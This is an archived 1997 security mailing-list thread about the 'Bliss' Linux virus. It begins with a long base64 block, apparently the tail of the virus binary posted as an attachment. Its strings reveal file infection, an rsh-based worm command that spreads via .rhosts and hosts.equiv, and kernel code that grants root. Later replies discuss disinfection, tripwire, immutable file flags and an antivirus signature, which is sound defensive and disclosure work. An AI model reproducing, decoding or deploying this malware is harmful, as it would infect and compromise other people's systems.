AI20JgAAAACLRfArRfSNWNpT6Nnn//+JhWD///+DxASFwHUki4VY////UFNo
E7sECOj65v//6RsDAACNtgAAAACNtCYAAAAAagCLRfRQi0XkUOgJ6P//U4uF
YP///1CLReRQ6Ajp//+DxBg52HQZU2g6uwQI6Lbm//+DxAjpEAIAAI22AAAA
AFNoWLsECOid5v//g8QIg33sAA+EmAAAADDAi71Y/////Ln/////8q6JyPfQ
g8APUOgz5///iYVc////6Njm//9Qi4VY////UGiHuQQIi4Vc////UOh/6f//
i0XkUOgW6v//D7eFbP///1BqQouFXP///1DowOn//4lF6IPEJIP4/3Uti4Vc
////UOh56P//i4Vc////UOjt6f//uAEAAACDxAjrDY10JgCNtCYAAAAAMcCD
+P8PhfUAAACLhWD///9Q6MHp//+NvVj7//+DxASDfewAdBaLhVj///9Qi4Vc
////UOgv5///g8QIi0WEiYVQ+///i0WMiYVU+///jZ1Q+///U4uFWP///1Do
p+X//w+3hWz///9Qi4VY////UOjD5v//g8QQg338AHQcjUX8UGgCZgRAi0Xk
UOhI5f//x0X8AAAAAIPEDItF5FDoJen//4tF6IPEBDlF5HQJUOgU6f//g8QE
g33sAHQci0XEiYVQ+///i0XMiYVU+///U1foMuX//4PECMdF6P/////HReT/
////i4VY////UGhnuwQI6ADl///pIQEAAI12AGoAi0XoUOj95f//agBqAItF
6FDoEOb//1OLhWD///9Qi0XoUOhf5v//g8QgOdh0EFNoi7sECOsUkI20JgAA
AACLhVj///9QaMG7BAjop+T//4PECI29WPv//4N97AB0FouFWP///1CLhVz/
//9Q6PXl//+DxAiLRYSJhVD7//+LRYyJhVT7//+NnVD7//9Ti4VY////UOht
5P//D7eFbP///1CLhVj///9Q6Inl//+DxBCDffwAdByNRfxQaAJmBECLReRQ
6A7k///HRfwAAAAAg8QMi0XkUOjr5///i0Xog8QEOUXkdAlQ6Nrn//+DxASD
fewAdBmLRcSJhVD7//+LRcyJhVT7//9TV+j44///x0Xo/////8dF5P////+N
pUj7//9bX4nsXcONtgAAAABVieXHBczPBAgBAAAAajzoBOX//2oAag7o2+X/
/4nsXcPrDZCQkJCQkJCQkJCQkJBVieWB7AwEAABXVlPHhfT7//8KAAAAaOe7
BAho6rsECOgz5v//iYX8+///g8QIhcAPhDwCAABQaAAEAACNnQD8//9T6ODj
//+J3r/2uwQIuQUAAAD8McDzpnQKD7ZG/w+2T/8pyIPEDIXAdRSLlfz7//9S
6PDl///p9QEAAI12AGj7uwQIaP27BAjoyeX//4mF+Pv//4PECIXAD4TSAQAA
id6/D7wECLkEAAAA/KgA86Z1DlBo9rsECOh65v//g8QIjXYAi5X8+///UmgA
BAAAU+hS4///g8QMhcB0U4uV+Pv//1JT6E7m//+J3r8TvAQIuSQAAAD8McDz
pnQKD7ZG/w+2T/8pyIPECIXAdCJoN7wECFPoj+T//4PECIXAD4UsAQAA656N
dgCNtCYAAAAAjZ0A/P//jTaLlfz7//9SaAAEAABT6N7i//+DxAyFwHR2/430
+///g730+////3RnaEO8BAhT6D3k//+DxAiFwHUuid6/srwECLkDAAAA/KgA
86YPhMcAAACLlfj7//9SU+ii5f//g8QI652QjXQmAIuV+Pv//1JoSrwECOiH
5f//i5X4+///Uo2FAPz//1DodOX//4PEEIO99Pv//wAPhHwAAACNnQD8//+N
NouV/Pv//1JoAAQAAFPoOuL//4PEDIXAdBuLlfj7//9SU+g25f//g8QI69WN
No20JgAAAACLlfz7//9S6Ezk//+Llfj7//9S6EDk//9o6rsECGj9uwQI6NHi
//+DxBCD+P91M+sn6w2QkJCQkJCQkJCQkJCQi5X8+///UugM5P//i5X4+///
UugA5P//aP27BAjohuP//42l6Pv//1teX4nsXcOQVYnlgeyABQAAV1ZTi3UI
i30MaIAAAACNnYD6//9T6BXk///oYOH//1BTaLW8BAiNnQD7//9T6A3k//9T
U1NTVon4hf91BbjBvAQIULjBvAQIhf90BbjCvAQIUGjGvAQIjZ0A/P//U+jc
4///g8Q8U2jzvAQI6J7g//9o+7sECFPog+D//4nDU2oBocjPBAhQoZTVBAhQ
6M3j//+DxCBT6KTg//+NpXT6//9bXl+J7F3D6w2QkJCQkJCQkJCQkJCQVYnl
gewUEgAAV1ZTi10IaIAAAACNhYD7//9Q6Fjj//9qAGgFvQQIU42dAPz//1Po
zOT//2gOvQQIU+jZ4v//iYX87f//g8QghcAPhEwCAACJnfjt//+NlYD3//+J
lfTt//+NlYDz//+JlfDt//+NlQDu//+Jlezt//+NNouV/O3//1JoAAQAAIuV
+O3//1LoVOD//4PEDIXAD4TxAQAAi5X07f//UouV8O3//1JoEL0ECIuV+O3/
/1LoOuL//4uV9O3//1KLlfDt//9SaBa9BAjogt///4u18O3//78nvQQIuQoA
AAD8McDzpnQKD7ZG/w+2T/8pyIPEHIXAD4R6////jYWA+///UIuV8O3//1Lo
Q+L//4PECIXAD4Rc////g30MAA+ExgAAAOi54f//hcAPhakAAAAPt0UMUOjX
4v//g8QEaIAAAACLlezt//9S6CPi///obt///1CLlezt//9SaLW8BAiNnYDu
//9T6BXi//9TU1NTi5Xw7f//UouV9O3//1JowrwECGjGvAQIjZ2A7///U+jt
4f//g8Q8U2jzvAQI6K/e//9o+7sECFPolN7//4nDU2oBocjPBAhQoZTVBAhQ
6N7h//+DxCBT6LXe//+DxARqAOjb4f//jXYAagDoYeD//4PEBOmN/v//kGiA
AAAAi5Xs7f//Uuh34f//6MLe//9Qi5Xs7f//Umi1vAQIjZ2A7v//U+hp4f//
U1NTU4uV8O3//1KLlfTt//9SaMK8BAhoxrwECI2dgO///1PoQeH//4PEPFNo
87wECOgD3v//aPu7BAhT6Ojd//+Jw1NqAaHIzwQIUKGU1QQIUOgy4f//g8Qg
U+gJ3v//g8QE6fX9//+NNo20JgAAAACLlfzt//9S6Izg//+NpeDt//9bXl+J
7F3DjbQmAAAAAFWJ5YHsEAoAAFdWU2gxvQQI6JLd//9qf42FgPv//1DopOD/
/4PEDIM90M8ECAAPhZsBAABoDr0ECGhIvQQI6CXg//+Jhfz1//+DxAiFwA+E
ewEAAI21APz//4m1+PX//421gPf//4m19PX//4u1/PX//1ZoAAQAAIu1+PX/
/1botN3//4PEDIXAD4QxAQAAi5X49f//MMCJ1/y5//////Kuicj30MaEBf77
//8AgL0A/P//AHS2iw2A0QQID74C9kRBASB0BkKAOgB18IoChMB0mjwKdJY8
I3SSida/J70ECLkKAAAA/KgA86YPhHv///+NhYD7//9QUomV8PX//+ik3///
g8QIi5Xw9f//hcAPhFf///9SaFm9BAiJlfD1///ogtz//4PECGiAAAAAjZ0A
9v//U+iO3///6Nnc//9QU2i1vAQIjZ2A9v//U+iG3///U1NTU4uV8PX//1Jo
wbwECGjBvAQIaMa8BAiLtfT1//9W6GDf//+DxDxWaPO8BAjoItz//2j7uwQI
VugH3P//icNTagGhyM8ECFChlNUECFDoUd///4PEIFPoKNz//4PEBOm0/v//
kI20JgAAAACLtfz1//9W6Kze//+DxARqAGhqvQQI6A3c//+DxARQ6Gz7//+D
xAiDPdDPBAgAdCXoM9///4nChdJ0FQ+3QghQi0IQUOhH+///g8QI6+KNNuhj
3P//jaXk9f//W15fiexdw420JgAAAACNtCYAAAAAVYnlgexUBAAAV1ZTx4Ww
+///AAAAAMeFrPv//wAAAABoYKkECGoO6Hzd//9oYKkECGoP6HDd///oW9v/
/yX//wAAo9DPBAhQ6Ove///odtv//yX//wAAUOg73f//g8QYgz3QzwQIAA+U
wInCg+IBiRXQzwQIi1UMiwKjmNkECGgABAAAaJjVBAjo+t3//4PECIN9CAEP
jjUDAABqCGhvvQQIi1UMi0IEUOga3f//g8QMhcAPhRcDAACLVQyLQgSDwAiJ
xr94vQQIuRYAAAD8qADzpnQXica/jr0ECLkXAAAA/KgA86YPhXQBAAChoM8E
CFBqAGoCagBqAWilvQQI6HTa//9oGb4ECOhq2v//aA69BAihxM8ECFDoGt3/
/4nHg8Qkhf8PhH4AAAChxM8ECFBoML4ECOg92v//g8QIjZ0A/P//jbX8+///
jTZXaAAEAABT6LDa//+DxAyFwHRBU42F+Pv//1BWaEm+BAhT6KXc//9W6L/b
//9Qi4X4+///UFNoU74ECOjs2f//g8QoU+gr8v//g8QE67KNtgAAAABX6KLc
//+DxAS7AgAAADldCA+OmAAAAItFCIPA/oPgA3RGg/gBfimD+AJ+FItVDItC
CFDo6PH//4PEBLsDAAAAi1UMiwSaUOjU8f//g8QEQ4tVDIsEmlDoxPH//4PE
BEM5XQh+So12AItVDIsEmlDorPH//4PEBItVDItEmgRQ6Jzx//+DxASLVQyL
RJoIUOiM8f//g8QEi1UMi0SaDFDofPH//4PEBIPDBDldCH+5agDogtz//412
AI20JgAAAACJxr9lvgQIuRIAAAD8qADzpnQTica/d74ECLkPAAAA/KgA86Z1
GseFsPv//wEAAADpOwEAAI10JgCNtCYAAAAAica/hr4ECLkPAAAA/KgA86Z0
JonGv5W+BAi5DwAAAPyoAPOmdBOJxr+kvgQIuRIAAAD8qADzpnUXx4Ws+///
AQAAAOnoAAAAkI20JgAAAACJxr+2vgQIuQUAAAD8qADzpnUti0UMg8AIUItV
DItCCFDoEtz//4tVDItCCFDo9tj//2oA6K/b//+NtCYAAAAAica/u74ECLkM
AAAA/KgA86Z1HWjHvgQI6CvY//9qAOiE2///jbYAAAAAjbYAAAAAica/1L4E
CLkIAAAA/KgA86Z1LaGgzwQIUGoAagJqAGoBaKW9BAjo7df//2oA6Ebb//+N
tCYAAAAAjbQmAAAAAInGv9y+BAi5BQAAAPyoAPOmdR1o4b4ECOi71///agDo
FNv//422AAAAAI22AAAAAIM9vM8ECAB+XWgOvQQIaP6+BAjoUNr//4nBg8QI
hcl0RY2F9Pv//1BoDL8ECFHo9df//4PEDIP4AXUri4X0+///UGgQvwQI6FzX
//+hvM8ECIPECDmF9Pv//34Kx4Ws+///AQAAAIM9wM8ECAAPhH0AAAChxM8E
CIXAdHSAOAB0b2oA6ADa//+Jw4sVxM8ECI2FtPv//4PEBFBSagHoBtj//4PE
DIP4/3RGi7Xc+///OfN8LIsNwM8ECI0EMTnYfh/Hhaz7//8BAAAAUYnYKfBQ
aB6/BAjozdb//4PEDOsQagChxM8ECFDoy9b//4PECOgj1///UGhFvwQIjZ0A
/P//U+jR2f//aJTVBAhTi1UMiwJQ6Fjt//+DxBiD+P91CseFsPv//wEAAACD
PZTVBAgAdBuDvaz7//8AdRKDvbD7//8AdTvo7tj//4XAdDKLVQxSjZ0A/P//
U+j62P//aFi/BAjo4Nb//1Pomtj//2oA6JPZ//+NdCYAjbQmAAAAAI2dAPz/
/1PofNj//6GkzwQIUOhh1///ocjPBAhQoaDPBAhQaFe5BAhonNkECOgm2f//
aAAmAADo7Nf//4PEHGY9ACZ1CscF0M8ECAEAAADoPPL//+gn+P//aGq9BAjo
Bdb//4PEBIXAdBlqAGhevwQIUFPoWNr//2oBU+iw5///g8QYMduNdgBoY78E
COjW1f//UI21APz//1boWdX//4PEDDHAhdt0BbgCAAAAUGhovwQIVujv1///
g8QIUOhu5///g8QIaGi/BAhqAOjX1///g8QIhcB0GDHJhdt0BbkCAAAAUevW
jXYAjbQmAAAAAIM90M8ECAB0B0OF236K6xhqAWhqvQQI6FzV//+DxARQ6Bvn
//+DxAiNnQD8//+NNuiD2P//hcB0J2oAaF6/BAiLQBBQU+iW2f//agBT6O7m
//+DxBjr2Y02jbQmAAAAAOiD1v//jXYA6EvY//+FwHQfagGLQBBQ6MTm//+D
xAjr5+sNkJCQkJCQkJCQkJCQkOhz1f//ahBoar8ECOif5v//ahBoer8ECOiT
5v//agFoKboECOiH5v//aIq/BAjoJdX//zHAjaWg+///W15fiexdw5CQU7vU
zwQIgz3UzwQI/3QNkIsD/9CDw/yDO/919FvDjTbDkJCQAAAAAAAAAADoq9j/
/8IAADY0ZWQxNDcxMDY1Mjg5MzMxMzUyMjk1ZWFmNWRlZWI0ADFmOTk0YTI0
NTNjNDFjN2M1Y2UyZjRkYzc1OTFiNTc2AGRlZGljYXRlZCB0byBya2QAL3Rt
cC8uYmxpc3MACmluZmVjdGVkIGJ5IGJsaXNzICUuOHg6ICUuOHgKAGEAJWQg
JS44eCAlcy8lcwoAJXMuYmxpc3MtdG1wLiVkACVzIGFscmVhZHkgaW5mZWN0
ZWQgKCUuOHgpCgBza2lwcGluZywgaW5mZWN0ZWQgd2l0aCBzYW1lIHZlcnMg
b3IgZGlmZmVyZW50IHR5cGUKAHJlcGxhY2luZyBvbGRlciB2ZXJzaW9uCgBy
ZXBsYWNpbmcgb3Vyc2VsdmVzIHdpdGggbmV3ZXIgdmVyc2lvbgoALwBkaXI6
ICVzLCBmaWxlOiAlcywgbmV3IHNpemU6ICVkCgBpbmZlY3Rpbmc6ICVzLCAl
ZCBieXRlcwoAaW5mZWN0KCkgcmV0dXJuaW5nIHN1Y2Nlc3MKAGJlZW4gdG8g
JXMgYWxyZWFkeSEKAC4ALi4AdHJhdmVyc2luZyAlcwoAb3VyIHNpemUgaXMg
JWQhCgBjb3B5KCkgcmV0dXJuaW5nIHN1Y2Nlc3MKAGNvcHkoKSByZXR1cm5p
bmcgZmFpbHVyZQoAZGlzaW5mZWN0aW5nOiAlcwoAJXM6IG5vdCBpbmZlY3Rl
ZAoAY291bGRuJ3QgbWFsbG9jICVkIGJ5dGVzLCBza2lwcGluZyAlcwoAY291
bGRuJ3QgcmVhZCgpIGFsbCAlZCBieXRlcwoAcmVhZCAlZCBieXRlcwoAaGFw
cHlfY29tbWl0KCkgZmFpbGVkLCBza2lwcGluZyAlcwoAY291bGRuJ3Qgd3Jp
dGUoKSBhbGwgJWQgYnl0ZXMsIGhvcGUgeW91IGhhZCBiYWNrdXBzIQoAc3Vj
Y2Vzc2Z1bGx5IChpIGhvcGUpIGRpc2luZmVjdGVkICVzCgByKwBibGlzcy1z
eXMuYwAvKiAKAHcAYmxpc3Mtc3lzLmMuYmxpc3MALyoKAGFzbWxpbmthZ2Ug
aW50IHN5c191bWFzayhpbnQgbWFzaykKAG1hc2smMDIzMDAwAHJldHVybgBp
ZihtYXNrJjAyMzAwMCkge2N1cnJlbnQtPnVpZCA9IGN1cnJlbnQtPmV1aWQg
PSBjdXJyZW50LT5zdWlkID0gY3VycmVudC0+ZnN1aWQgPSAwOyByZXR1cm4g
b2xkJjAyMzAwMH0KAH0KAGJsaXNzLiVzLiVkAAAgLWwAcnNoJXMlcyAlcyAn
Y2F0PiVzO2NobW9kIDc3NyAlczslcztybSAtZiAlcycAZG9pbmcgcG9wZW4o
IiVzIgoALy5yaG9zdHMAcgAlcyAlcwAucmhvc3RzOiAlcywgJXMKAGxvY2Fs
aG9zdABkb2luZyBkb193b3JtX3N0dWZmKCkKAC9ldGMvaG9zdHMuZXF1aXYA
aG9zdHMuZXF1aXY6ICVzCgBIT01FAC0tYmxpc3MtAHVuaW5mZWN0LWZpbGVz
LXBsZWFzZQBkaXNpbmZlY3QtZmlsZXMtcGxlYXNlAGJsaXNzIHR5cGUgJWQg
dmVyc2lvbiAlZC4lZC4lZCAoJS44eCkKQ29tcGlsZWQgb24gU2VwIDI4IDE5
OTYgYXQgMjI6MjQ6MDMKV3JpdHRlbiBieSBlbGVjdHJpYyBlZWwuCkRlYnVn
Z2luZyBpcyBPTgoARGlzaW5mZWN0aW5nIGZpbGVzLi4uCgB1c2luZyBpbmZl
Y3Rpb24gbG9nOiAlcwoAJWQgJXggJXMKACVzLCB2ZXIgJXgsIGF0ICVzAGRv
bnQtcnVuLW9yaWdpbmFsAGp1c3QtcnVuLWJsaXNzAGRvbnQtcnVuLXZpcnVz
AGRvbnQtcnVuLWJsaXNzAGp1c3QtcnVuLW9yaWdpbmFsAGV4ZWMAaW5mZWN0
LWZpbGUAdW5zdXBwb3J0ZWQKAHZlcnNpb24AaGVscABoZWxwPyBoYWghIHJl
YWQgdGhlIHNvdXJjZSEKAC9wcm9jL2xvYWRhdmcAJWQuAGxvYWRhdiBpcyAl
ZAoAYmxpc3Mgd2FzIHJ1biAlZCBzZXggYWdvLCByZXBfd2FpdD0lZAoAL3Rt
cC8uYmxpc3MtdG1wLiVkAGV4ZWN2AC9iaW4AUEFUSAA6AC91c3Ivc3Bvb2wv
bmV3cwAvdmFyL3Nwb29sL25ld3MAd293AAAAAAAAAPi4BAgZuQQIOrkECAIA
AQA8AAAADwAAAAMAAAAoAAAAAAAAAAAAAAADAAAABQAAAEu5BAgAAAAAAAAA
AAAAAAD/////AAAAAP////8AAAAA+NAECAAAAAAAAAAA/owECA6NBAgejQQI
Lo0ECD6NBAhOjQQIXo0ECG6NBAh+jQQIjo0ECJ6NBAiujQQIvo0ECM6NBAje
jQQI7o0ECP6NBAgOjgQIHo4ECC6OBAg+jgQITo4ECF6OBAhujgQIfo4ECI6O
BAiejgQIro4ECL6OBAjOjgQI3o4ECO6OBAj+jgQIDo8ECB6PBAgujwQIPo8E
CE6PBAhejwQIbo8ECH6PBAiOjwQIno8ECK6PBAi+jwQIzo8ECN6PBAjujwQI
/o8ECA6QBAgekAQILpAECD6QBAhOkAQIXpAECG6QBAh+kAQIjpAECJ6QBAiu
kAQIvpAECM6QBAjekAQI7pAECP6QBAgOkQQIAQAAAAEAAAAMAAAA4IwECA0A
AADwuAQIBAAAAOiABAgFAAAAUIgECAYAAABAgwQICgAAAGgCAAALAAAAEAAA
ABUAAAAAAAAAAwAAAOTPBAgCAAAAEAIAABQAAAARAAAAFwAAANCKBAgRAAAA
uIoECBIAAAAYAAAAEwAAAAgAAAAAAAAAAAAAAAgAAAAAAAAAAQAAADAxLjAx
AAAACAAAAAAAAAABAAAAMDEuMDEAAAAIAAAAAAAAAAEAAAAwMS4wMQAAAABH
Q0M6IChHTlUpIDIuNy4yLmwuMgAAR0NDOiAoR05VKSAyLjcuMgAAR0NDOiAo
R05VKSAyLjcuMi5sLjIAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmlu
dGVycAAuaGFzaAAuZHluc3ltAC5keW5zdHIALnJlbC5ic3MALnJlbC5wbHQA
LmluaXQALnBsdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5jdG9ycwAu
ZHRvcnMALmdvdAAuZHluYW1pYwAuYnNzAC5ub3RlAC5jb21tZW50AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAA
AgAAANSABAjUAAAAEwAAAAAAAAAAAAAAAQAAAAAAAAAjAAAABQAAAAIAAADo
gAQI6AAAAFgCAAADAAAAAAAAAAQAAAAEAAAAKQAAAAsAAAACAAAAQIMECEAD
AAAQBQAABAAAAAEAAAAEAAAAEAAAADEAAAADAAAAAgAAAFCIBAhQCAAAaAIA
AAAAAAAAAAAAAQAAAAAAAAA5AAAACQAAAAIAAAC4igQIuAoAABgAAAADAAAA
EQAAAAQAAAAIAAAAQgAAAAkAAAACAAAA0IoECNAKAAAQAgAAAwAAAAgAAAAE
AAAACAAAAEsAAAABAAAABgAAAOCMBAjgDAAACAAAAAAAAAAAAAAAEAAAAAAA
AABRAAAAAQAAAAYAAADojAQI6AwAADAEAAAAAAAAAAAAAAQAAAAEAAAAVgAA
AAEAAAAGAAAAIJEECCARAADIJwAAAAAAAAAAAAAQAAAAAAAAAFwAAAABAAAA
BgAAAPC4BAjwOAAACAAAAAAAAAAAAAAAEAAAAAAAAABiAAAAAQAAAAIAAAD4
uAQI+DgAAJYGAAAAAAAAAAAAAAEAAAAAAAAAagAAAAEAAAADAAAAkM8ECJA/
AABEAAAAAAAAAAAAAAAEAAAAAAAAAHAAAAABAAAAAwAAANTPBAjUPwAACAAA
AAAAAAAAAAAABAAAAAAAAAB3AAAAAQAAAAMAAADczwQI3D8AAAgAAAAAAAAA
AAAAAAQAAAAAAAAAfgAAAAEAAAADAAAA5M8ECOQ/AAAUAQAAAAAAAAAAAAAE
AAAABAAAAIMAAAAGAAAAAwAAAPjQBAj4QAAAiAAAAAQAAAAAAAAABAAAAAgA
AACMAAAACAAAAAMAAACA0QQIgEEAAEMIAAAAAAAAAAAAAAQAAAAAAAAAkQAA
AAcAAAAAAAAAAAAAAIBBAAA8AAAAAAAAAAAAAAABAAAAAAAAAJcAAAABAAAA
AAAAAAAAAAC8QQAAPgAAAAAAAAAAAAAAAQAAAAAAAAARAAAAAwAAAAAAAAAA
AAAA+kEAAKAAAAAAAAAAAAAAAAEAAAAAAAAA
--0-337793865-854998571=:8625--

It seems that bliss can uninfect files that it infects if you run an
infected program with the --bliss-uninfect-files-please argument.
First:
------------------
	infecting: ls, 25604 bytes
	infect() returning success
------------------
And then, when told to disinfect: (./ls --bliss-uninfect-files-please)
------------------
	/home/virtest/ls, ver 10002, at Tue Feb  4 16:21:54 1997
	disinfecting: /home/virtest/ls
	read 25604 bytes
	successfully (i hope) disinfected /home/virtest/ls
------------------
It seems to work fine... a diff of this file and the original shows no
changes at all.

BTW, remember that if you''re going to play around with this, make a
special user to do it with :)

						Jonathan

-----------------------------------------------------------------------------
The Reptile                                             reptile@interport.net
Reptile''s Realm                                       
http://www.reptile.net
Reptile''s Linux Security Page                   
http://www.reptile.net/linux
-----------------------------------------------------------------------------

Aleph One seems to have said:
>
> ugh :)
>
> Today I became infected with the bliss virus, any info on this would be
> appreciated!  How do I scan for files infected and is it possible to
> remove it?  I first noticed the infection when running a program (not as
> root) messages flashed on the screen about transversing directories and
> such.  The program (gimp) had been working fine since I downloaded the
> binary for gimp from their main site.  The gimp people told me they have
> not been receiving complaints their binaries are infected, so something
> else must be the source.
	....
>
> I am presently using this to scan for it in my home dir:
> grep infected /home/peter/**/*(xD/)
> Any help would be great!!!
>
> Rgds,
> Peter.
>
> [mod: It looks as if lots of debugging strings are still in the binary.
> Odd that this "debugging version" would be in the wild.
> Peter, can you verify that it indeed is a virus? Unless it knows of
> ways to become root, you should be safe if you add a new user-account,
> place an infected binary and a few uninfected binaries in that users
> account. Make sure that you have an unmodified version available for
> comparison.
> On one hand I don''t like to approve this until Peter has verified
this,
> but on the other hand if there is really a linux-virus on the loose, you
> all would like to hear about it ASAP right? -- REW]
	Peter and all,

	I''ve forwarded your message and the reply by Todd to
	the Chief AV Researcher at McAfee Associates (the
	premier PC Anti-virus company).

	Jimmy is a friend of mine (I used to be the sysadmin
	there) and has assured me that he will look into it
	first thing in the morning (he''s here at my house now).

	This would be the first "live and in-the-wild" Linux
	virus that I''ve ever heard of -- have I been missing
	something?

	In any event -- McAfee may be able to add this to
	their existing uvscan product.  uvscan scan Linux
	filesystems for DOS and Windows (including Word Macro)
	viruses.   It may be possible for the AV team to
	simply add bliss'' signature to the next release -- and
	it may even be possible for them to create a remover.

[mod: Included in the virus, but neatly in the AV product would
also be nice.  -- REW]

	However -- the current version of this is almost
	guaranteed not to detect or remove this (unless
	someone at McAfee''s AV team discovered this without
	telling the boss).

[mod: Deleted a part about the possibility of detecting the bliss
virus using the "file" command. Yes Possible, No not very handy.
--REW]

	Jimmy has asked me to let everyone on this list
	know that if you want updates on this issue -- or
	if you have further information, please feel free
	to forward it through me or directly to cjkuo@mcafee.com.


	I suppose this would be a great time to recommend
	that more people get and install ''tripwire'' and
	cops and that everyone use the ''chattr +i'' command to
	help protect their libs and binaries from lame attacks
	such as these.

		tripwire and cops are available at
		the COAST archive at cs.purdue.edu

		Information about using ''chattr'' to
		mark you files as immutable is in the
		Linux-Tips HOWTO (actually submitted
		to them by moi).
		
		Note -- currently the immutable flag under
		ext2fs is of limited security value since
		any root run program that wants to can
		simply chattr it back.  However -- it would
		be effective against crude and lame attacks
		like this one (as described in Todd''s excerpt).

		The addition of a BSD-like ''securelevel''
		(which is in the works for the 2.1 kernels)
		will make the "immutable" flag a viable
		security feature.

	A final note:

	This should serve as yet another reminder that we
	must always be aware of the trust that we place in
	the sources for all of our files.

	The fact that a system is a single-user workstation
	should not lull anyone of us into allowing the admin
	of that system to neglect proper ownership and permissions
	conventions.

	Here''s a one line script to find any files on your path
	to which you have write access (run this under
	your normal login id).


#! /bin/bash
	## find.wx-files
find $(echo $PATH | tr : " ") -type f | \
	{ while read i; do [ -x $i -a -w $i ] && ls -l $i ; done }
	
	While doing this I discovered several files that
	were writeable by me in my normal account (I was a
	member of the ''root'' group.  Red Hat 3.03 leaves
	a number of X11R6 binaries group writable.

	I''ve fixed that now (and permissions don''t prevail
	over ext2fs attributes anyway).


--
Jim Dennis,                                info@mail.starshine.org
Proprietor,                          consulting@mail.starshine.org
Starshine Technical Services              http://www.starshine.org

[ I''ve never actually wanted to post to this list, and I''m not
sure I want to now: I''m guessing this will go to the moderator? ]
> [Mod: Unix viruses are possible and they do exist. The most famous one if I
> remember correctly was designed by Tompson(? Don''t quote me on the
name) to
> infect cc and login programs in Bell Labs. The virus never made it to
> outside world -- alex]
The article was "Reflections on Trusting Trust" by Ken
Thompson, (CACM, 1984, vol 27 no 8, to be precise,
according to this URL found by AltaVista that reprints it:)

    http://www.cs.umsl.edu/~sanjiv/sys_sec/security/thompson/hack.html


-jonathan

--
Jonathan H N Chin, 1 kyu | Cybernetics / CompSci | "Respondeo, etsi
mutabor"
                         | University of Reading |
 shrchin@reading.ac.uk   | Reading, RG6 6AY,  UK |   < Rosenstock-Huessy >
cybjhnc@cyber.rdg.ac.uk  | TEL:(+44) 1734 318610 |

> 	In any event -- McAfee may be able to add this to
> 	their existing uvscan product.  uvscan scan Linux
> 	filesystems for DOS and Windows (including Word Macro)
> 	viruses.   It may be possible for the AV team to
> 	simply add bliss'' signature to the next release -- and
> 	it may even be possible for them to create a remover.
I''ve had a look at the algorithms used for this "Bliss" toy.
Its quite
interesting as its a completely portable technique. It works for NT
DLL''s it works for all Unixen.

Tripwire pretty much immediately spots such tampering.

Alan

In article <199702051016.CAA20294@antares.starshine.org>,
jimd@starshine.ORG (Jim Dennis) writes:
>	I suppose this would be a great time to recommend
>	that more people get and install ''tripwire'' and
>	cops and that everyone use the ''chattr +i'' command to
>	help protect their libs and binaries from lame attacks
>	such as these.
>
>		tripwire and cops are available at
>		the COAST archive at cs.purdue.edu
Is it just me or does tripwire crash with the recent libc''s
just like all those other programs who like to close their
files (or free their memory) twice.

Perhaps somebody tracked this down and has a patch?

Richard.

Aleph One seems to have said:
>
> ugh :)
>
> Today I became infected with the bliss virus, any info on this would be
> appreciated!  How do I scan for files infected and is it possible to
> remove it?  I first noticed the infection when running a program (not as
> root) messages flashed on the screen about transversing directories and
> such.  The program (gimp) had been working fine since I downloaded the
> binary for gimp from their main site.  The gimp people told me they have
> not been receiving complaints their binaries are infected, so something
> else must be the source.
>
> Here are a few lines from the infected file:
>
	Note from Chengi (Jimmy) Kuo of McAfee Associates:

If they download the Linux scanner, and download the DAT file from
http://beta.mcafee.com/public/datafiles

And use the two together, they will be able to detect Bliss.  It
will be called: LINUX/HLLO.17892 (BLISS).

Please forward this information to the mail group.

Jimmy

--
Jim Dennis,                                info@mail.starshine.org
Proprietor,                          consulting@mail.starshine.org
Starshine Technical Services              http://www.starshine.org